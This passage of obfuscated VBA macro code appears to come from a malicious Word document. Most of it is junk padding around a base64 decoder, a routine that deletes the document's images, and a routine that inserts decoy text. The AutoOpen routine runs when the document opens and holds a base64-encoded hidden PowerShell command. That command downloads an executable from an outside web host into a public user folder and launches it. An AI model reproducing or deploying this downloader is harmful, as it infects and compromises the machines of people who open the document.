veCxcSTFugQ = veCxcSTFugQ / DaHsTiIUVZKomg
Next SxFXB0BI8plbms
End If
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 0) = (DEFwnztihGr0ZH1j And &HFF0000) \ &H10000
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 1) = (DEFwnztihGr0ZH1j And &HFF00&) \ &H100&
Dim i2bXisRiqjV8dC As String
Dim oPQQQQwysDwKmx As Integer
Dim dmxS7yb5E8tiCj As Integer
For EtG1l4q3kxB = 3 To 36
dmxS7yb5E8tiCj = EtG1l4q3kxB
Next EtG1l4q3kxB
Dim kHdvZgS17ZhMx7, tEUDdECobtm As String
kHdvZgS17ZhMx7 = 6
tEUDdECobtm = 9
#If kHdvZgS17ZhMx7 > tEUDdECobtm Then
Dim BffuddmAto8 As LongPtr
#Else
Dim BffuddmAto8 As Integer
BffuddmAto8 = 6 + 9
Dim NVcFlx5KRxa As Integer
For NVcFlx5KRxa = 0 To kHdvZgS17ZhMx7
NVcFlx5KRxa = NVcFlx5KRxa + 1
Next NVcFlx5KRxa
#End If
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 2) = DEFwnztihGr0ZH1j And &HFF&
If Rkun5BYdX9RUOze(UBound(Rkun5BYdX9RUOze) - 1) = 61 Then
Dim iPxb8uyGpe7RK8 As Integer
Dim j9RTsJNHFFI As String
iPxb8uyGpe7RK8 = 7662
Dim OYEgFSV3q1p As Integer
j9RTsJNHFFI = Right(CStr(iPxb8uyGpe7RK8), 1)
OYEgFSV3q1p = CInt(j9RTsJNHFFI)
For DKPLHaSzmqd = OYEgFSV3q1p To 52
iPxb8uyGpe7RK8 = iPxb8uyGpe7RK8 + 4
Next DKPLHaSzmqd
Dim BzyRcczhb4kYC9, cTfT2jxX1sl As Integer
BzyRcczhb4kYC9 = 8
cTfT2jxX1sl = 8
#If AS9tmqY0w1V <> 0 Then
AS9tmqY0w1V = AS9tmqY0w1V + 8
Dim l2R02ySo9yj As Variant
Else
Dim l2R02ySo9yj As Object
#End If
If BzyRcczhb4kYC9 > cTfT2jxX1sl Then
For V6wfmNeqo5GqbK = cTfT2jxX1sl To BzyRcczhb4kYC9
cTfT2jxX1sl = cTfT2jxX1sl / BzyRcczhb4kYC9
Next V6wfmNeqo5GqbK
End If
Dim lwb2D6GEKVGNZl As String
Dim J0qEAdawQTR As String
J0qEAdawQTR = mL2lLypitX3
lwb2D6GEKVGNZl = zRu1rJCMJ3z
If (StrComp(lwb2D6GEKVGNZl, J0qEAdawQTR, vbTextCompare) <> 0) Then
MsgBox ("Optional: zbLWlAmw5gIkTv.")
End If
o1QlG8Dd3Iis12bZ = Left(StrConv(bnHGwM0LtfWQ, vbUnicode), UBound(bnHGwM0LtfWQ) - 1)
Dim GvKU7S01fLd7MW As Integer
Dim EsiOm58IwsMqxP As Integer
Dim HgQFEhuV5tb As String
EsiOm58IwsMqxP = 3637
Dim i0uifBtW9cp As Integer
HgQFEhuV5tb = Right(CStr(EsiOm58IwsMqxP), 1)
i0uifBtW9cp = CInt(HgQFEhuV5tb)
For cbDA9uTwEkJ = i0uifBtW9cp To 88
EsiOm58IwsMqxP = EsiOm58IwsMqxP + 3
Next cbDA9uTwEkJ
Dim i0gcmIwVt3Ur2s As String
Dim hG5vLDFlQTl As String
hG5vLDFlQTl = hb4n55ptoK6
i0gcmIwVt3Ur2s = VnladVtafFk
If (StrComp(i0gcmIwVt3Ur2s, hG5vLDFlQTl, vbTextCompare) <> 0) Then
MsgBox ("Optional: NL5Jwy8DEkN18r.")
End If
Dim Iujt1xzfDLssvI, sulFWMwmtln As String
Iujt1xzfDLssvI = 8
sulFWMwmtln = 8
#If Iujt1xzfDLssvI > sulFWMwmtln Then
Dim wc1HXrdO1lE As LongPtr
#Else
Dim wc1HXrdO1lE As Integer
wc1HXrdO1lE = 8 + 8
Dim UTMuaV5fJAC As Integer
For UTMuaV5fJAC = 0 To Iujt1xzfDLssvI
UTMuaV5fJAC = UTMuaV5fJAC + 1
Next UTMuaV5fJAC
#End If
ElseIf Rkun5BYdX9RUOze(UBound(Rkun5BYdX9RUOze)) = 61 Then
Dim YCt2f4OGuids6F, gNSeaMgHvVB As Integer
YCt2f4OGuids6F = 5
gNSeaMgHvVB = 7
#If BbqZAQLQ3tO <> 0 Then
BbqZAQLQ3tO = BbqZAQLQ3tO + 7
Dim ilbVzyujyT5 As Variant
Else
Dim ilbVzyujyT5 As Object
#End If
If YCt2f4OGuids6F > gNSeaMgHvVB Then
For M5gakck9WQX0cd = gNSeaMgHvVB To YCt2f4OGuids6F
gNSeaMgHvVB = gNSeaMgHvVB / YCt2f4OGuids6F
Next M5gakck9WQX0cd
End If
o1QlG8Dd3Iis12bZ = Left(StrConv(bnHGwM0LtfWQ, vbUnicode), UBound(bnHGwM0LtfWQ) - 0)
Dim u1HVemX3bmmleS, tp5Gt3FsweJ As String
u1HVemX3bmmleS = 3
tp5Gt3FsweJ = 5
#If u1HVemX3bmmleS > tp5Gt3FsweJ Then
Dim DqoIyQH5h4R As LongPtr
#Else
Dim DqoIyQH5h4R As Integer
DqoIyQH5h4R = 3 + 5
Dim ZNRglhyTaln As Integer
For ZNRglhyTaln = 0 To u1HVemX3bmmleS
ZNRglhyTaln = ZNRglhyTaln + 1
Next ZNRglhyTaln
#End If
Dim urfmfYtM2B1k2z As String
Dim J746q42EY6R As String
J746q42EY6R = HmSlio7ih15
urfmfYtM2B1k2z = r3KhoYTp7nZ
If (StrComp(urfmfYtM2B1k2z, J746q42EY6R, vbTextCompare) <> 0) Then
MsgBox ("Optional: mrgJludSySjVWw.")
End If
Else
o1QlG8Dd3Iis12bZ = StrConv(bnHGwM0LtfWQ, vbUnicode)
Dim qlOzCjkrm40f4U As String
Dim j7G1nxd8XBr As String
j7G1nxd8XBr = oa5CpDJqQNl
qlOzCjkrm40f4U = rbADq1L0XSE
If (StrComp(qlOzCjkrm40f4U, j7G1nxd8XBr, vbTextCompare) <> 0) Then
MsgBox ("Optional: xWo77zjo1OMGQI.")
End If
End If
Dim OOvVrBusdTHqHZ As String
OOvVrBusdTHqHZ = Application.UserName
Dim ch85RnR0aAJ, hfKjvQCzayvM9d As Integer
hfKjvQCzayvM9d = Len(OOvVrBusdTHqHZ)
Dim kiSpEnLP65A As Collection
While hfKjvQCzayvM9d > 5
ch85RnR0aAJ = ch85RnR0aAJ + 2
hfKjvQCzayvM9d = hfKjvQCzayvM9d - 5
Wend
Dim XCYp5bKeiUoJ3h As Collection
Set XCYp5bKeiUoJ3h = New Collection
XCYp5bKeiUoJ3h.Add "kiSpEnLP65A"
XCYp5bKeiUoJ3h.Add "LUvYFjD98gS"
XCYp5bKeiUoJ3h.Add "lzaBnZ5wff24MJ"
Dim HG8iRvxpjPhrF2 As String
Dim qrjLX88ugB0 As String
qrjLX88ugB0 = FKl8ZOYl1dQ
HG8iRvxpjPhrF2 = n9Twx2Uhdg5
If (StrComp(HG8iRvxpjPhrF2, qrjLX88ugB0, vbTextCompare) <> 0) Then
MsgBox ("Optional: FgK6Lk4OYj7sKl.")
End If
Dim Rarr8NWT9wI8kZ, V9hI3q7UZlU As Integer
Rarr8NWT9wI8kZ = 1
V9hI3q7UZlU = 6
#If sISuag4PcM2 <> 0 Then
sISuag4PcM2 = sISuag4PcM2 + 6
Dim YVGkHty4eGG As Variant
Else
Dim YVGkHty4eGG As Object
#End If
If Rarr8NWT9wI8kZ > V9hI3q7UZlU Then
For U2IndReiABGXHF = V9hI3q7UZlU To Rarr8NWT9wI8kZ
V9hI3q7UZlU = V9hI3q7UZlU / Rarr8NWT9wI8kZ
Next U2IndReiABGXHF
End If
Dim aLCTjOgeHNutal, oCmv3M1X79e As Integer
aLCTjOgeHNutal = 3
oCmv3M1X79e = 8
#If CKPoPX8LVmc <> 0 Then
CKPoPX8LVmc = CKPoPX8LVmc + 8
Dim W85Udg9KWVn As Variant
Else
Dim W85Udg9KWVn As Object
#End If
If aLCTjOgeHNutal > oCmv3M1X79e Then
For ywNl7OAoJNCyfE = oCmv3M1X79e To aLCTjOgeHNutal
oCmv3M1X79e = oCmv3M1X79e / aLCTjOgeHNutal
Next ywNl7OAoJNCyfE
End If
End Function
Sub RemovePicture()
Dim RUznJZMcboauLrd As InlineShape
Dim rXgKRXp5FrmpZV As Integer
Dim EjQf6ZQ0o5d As String
rXgKRXp5FrmpZV = 8158
Dim UAy0hxw8vSK As Integer
EjQf6ZQ0o5d = Right(CStr(rXgKRXp5FrmpZV), 1)
UAy0hxw8vSK = CInt(EjQf6ZQ0o5d)
For IthgSd8xlHq = UAy0hxw8vSK To 61
rXgKRXp5FrmpZV = rXgKRXp5FrmpZV + 7
Next IthgSd8xlHq
For Each RUznJZMcboauLrd In ActiveDocument.InlineShapes
Dim DZTSI4QVMOcGzF As Integer
Dim TX3ki7h04VrIw9 As Integer
RUznJZMcboauLrd.Delete
Dim H7vNJ4CcG6dvOu As String
H7vNJ4CcG6dvOu = Application.UserName
Dim JD22LDRIEsF, g87lLnsuA2DIBF As Integer
g87lLnsuA2DIBF = Len(H7vNJ4CcG6dvOu)
Dim GyRmxdRjD4Q As Collection
While g87lLnsuA2DIBF > 9
JD22LDRIEsF = JD22LDRIEsF + 4
g87lLnsuA2DIBF = g87lLnsuA2DIBF - 7
Wend
Dim ucLCKiU05hbnAV As String
Dim D0qbXtYR0OXEXy As String
Dim Vi33bCojIu0 As String
Vi33bCojIu0 = vEYVUDw7d43
D0qbXtYR0OXEXy = QM5ZqcSoIhR
If (StrComp(D0qbXtYR0OXEXy, Vi33bCojIu0, vbTextCompare) <> 0) Then
MsgBox ("Optional: BSrTYIiier6kdp.")
End If
Dim Mq7BWLRdmTmBFn, AooZ5aLXlcu As Integer
Mq7BWLRdmTmBFn = 5
AooZ5aLXlcu = 9
#If jgwdhaXJwcm <> 0 Then
jgwdhaXJwcm = jgwdhaXJwcm + 1
Dim WGLWNOTR0n3 As Variant
Else
Dim WGLWNOTR0n3 As Object
#End If
If Mq7BWLRdmTmBFn > AooZ5aLXlcu Then
For Oef5r8cU2FfQqo = AooZ5aLXlcu To Mq7BWLRdmTmBFn
AooZ5aLXlcu = AooZ5aLXlcu / Mq7BWLRdmTmBFn
Next Oef5r8cU2FfQqo
End If
Next RUznJZMcboauLrd
Dim MZkukGGRXeaPXy As Integer
Dim OCIh7gBoSzbm6r As Integer
For b1jU0w6qKrn = 6 To 61
OCIh7gBoSzbm6r = b1jU0w6qKrn
Next b1jU0w6qKrn
Dim OgZocUbAe6w94z As String
Dim S0RvpjxjXeN As String
S0RvpjxjXeN = u0Vpjl7jcXg
OgZocUbAe6w94z = Udh3HAwrQnu
If (StrComp(OgZocUbAe6w94z, S0RvpjxjXeN, vbTextCompare) <> 0) Then
MsgBox ("Optional: jIQFTgiWrI5bie.")
End If
Dim UeSbBGpXdC9YBp As String
Dim sWbNSPSxRFt As String
sWbNSPSxRFt = Fi4cr1ZT27a
UeSbBGpXdC9YBp = CXYWuc8vOXZ
If (StrComp(UeSbBGpXdC9YBp, sWbNSPSxRFt, vbTextCompare) <> 0) Then
MsgBox ("Optional: H5TwW044iMMr4h.")
End If
End Sub
Sub LoadText(ByRef Text As String)
ActiveDocument.Content.InsertAfter Text:=Text
Dim ObeBsh4ZErqVVO As Integer
Dim RgUBiZT0Lj1t2F, GpwUBbf2HqK As Integer
RgUBiZT0Lj1t2F = 5
GpwUBbf2HqK = 3
#If N6ygmkRITiP <> 0 Then
N6ygmkRITiP = N6ygmkRITiP + 6
Dim ktl3eTHFzAf As Variant
Else
Dim ktl3eTHFzAf As Object
#End If
If RgUBiZT0Lj1t2F > GpwUBbf2HqK Then
For fJ62nBm6cZo1Sd = GpwUBbf2HqK To RgUBiZT0Lj1t2F
GpwUBbf2HqK = GpwUBbf2HqK / RgUBiZT0Lj1t2F
Next fJ62nBm6cZo1Sd
End If
Dim b28DtI7LuC2JuV, iju6QgXGxC1 As Integer
b28DtI7LuC2JuV = 9
iju6QgXGxC1 = 2
#If PZ99iGNZ6EQ <> 0 Then
PZ99iGNZ6EQ = PZ99iGNZ6EQ + 2
Dim yx42pusWvri As Variant
Else
Dim yx42pusWvri As Object
#End If
If b28DtI7LuC2JuV > iju6QgXGxC1 Then
For GxuyCTELaC5Lat = iju6QgXGxC1 To b28DtI7LuC2JuV
iju6QgXGxC1 = iju6QgXGxC1 / b28DtI7LuC2JuV
Next GxuyCTELaC5Lat
End If
End Sub
Sub AutoOpen()
Dim xvbJSXnpsBXAKjE As String
xvbJSXnpsBXAKjE = "JzaGVsbC5leGUgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLVdpbmRvd1N0eWxlIGhpZGRlbiAtbm9sb2dvIC1ub3Byb2ZpbGUgLWMgSUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vcmVsYXgub2JhbWF4Lm9yZy9EWXFjT2NFaWxaLnBocCcsICdDOlxVc2Vyc1xQdWJsaWNcVW5kck5idmMuZXhlJyk7IFN0YXJ0LVByb2Nlc3MgQzpcVXNlcnNcUHVibGljXFVuZHJOYnZjLmV4ZQ=="
Dim i0zdriR2PtX9tJ As String
Dim TGehYGJxFJHMVN As Object
Dim cGAZoT2BxkahF5 As String
Dim QzSKc6fQpuR As String
QzSKc6fQpuR = viimlp90m27
cGAZoT2BxkahF5 = FT1Iakzs0dM
If (StrComp(cGAZoT2BxkahF5, QzSKc6fQpuR, vbTextCompare) <> 0) Then
MsgBox ("Optional: sbdBW9dmRbQHtu.")
End If
Dim HkTAW9kg0LIXFL As String
Dim eyZvsyEwCEp As String
eyZvsyEwCEp = xrxeWTADNPn
HkTAW9kg0LIXFL = fZUdcx0wJ5a
If (StrComp(HkTAW9kg0LIXFL, eyZvsyEwCEp, vbTextCompare) <> 0) Then
MsgBox ("Optional: l2HdC92CXhPVZS.")
End If
Dim uRAKK2FWE5KryX As Integer
Dim vCkhw54dlug As String
uRAKK2FWE5KryX = 8151
Dim pcSUk2Syokk As Integer
vCkhw54dlug = Right(CStr(uRAKK2FWE5KryX), 1)
pcSUk2Syokk = CInt(vCkhw54dlug)
For FJsE105fEpa = pcSUk2Syokk To 28
uRAKK2FWE5KryX = uRAKK2FWE5KryX + 8
Next FJsE105fEpa
Dim X2FzMK5xgUoExb, XMwQuB6sKf6 As Integer
X2FzMK5xgUoExb = 4
XMwQuB6sKf6 = 3
#If T1jlvAfxiCK <> 0 Then
T1jlvAfxiCK = T1jlvAfxiCK + 7
Dim oF7mYF4eD9O As Variant
Else
Dim oF7mYF4eD9O As Object
#End If
If X2FzMK5xgUoExb > XMwQuB6sKf6 Then
For FncFGK6gtsk0yT = XMwQuB6sKf6 To X2FzMK5xgUoExb
XMwQuB6sKf6 = XMwQuB6sKf6 / X2FzMK5xgUoExb
Next FncFGK6gtsk0yT
End If
Dim Pm511LI4H9dMbP81v As String
Dim DVctmzGsFYukfy As Integer
Dim xnLtqTgkqef As String
DVctmzGsFYukfy = 4466
Dim r7vVfwxubJG As Integer
xnLtqTgkqef = Right(CStr(DVctmzGsFYukfy), 1)
r7vVfwxubJG = CInt(xnLtqTgkqef)
For kG7LfzcyZdF = r7vVfwxubJG To 17
DVctmzGsFYukfy = DVctmzGsFYukfy + 8
Next kG7LfzcyZdF
RemovePicture
Dim CLOJWw3LCK4fNp As String
CLOJWw3LCK4fNp = Application.UserName
Dim nHfAXMMmJnS, ctfflIU0aBk1GH As Integer
ctfflIU0aBk1GH = Len(CLOJWw3LCK4fNp)
Dim NpkYtC5VV38 As Collection
While ctfflIU0aBk1GH > 5
nHfAXMMmJnS = nHfAXMMmJnS + 9
ctfflIU0aBk1GH = ctfflIU0aBk1GH - 8
Wend
Dim P0vigJyjq3GnyW As Integer
Dim vByhWBJi3pE As String
P0vigJyjq3GnyW = 7595
Dim jiECtXEkZcG As Integer
vByhWBJi3pE = Right(CStr(P0vigJyjq3GnyW), 1)
jiECtXEkZcG = CInt(vByhWBJi3pE)
For F0XQJwOJGxq = jiECtXEkZcG To 49
P0vigJyjq3GnyW = P0vigJyjq3GnyW + 1
Next F0XQJwOJGxq
Dim KsJAVgpZPRoEwR, mu7S9tR1aNg As Integer
KsJAVgpZPRoEwR = 9
…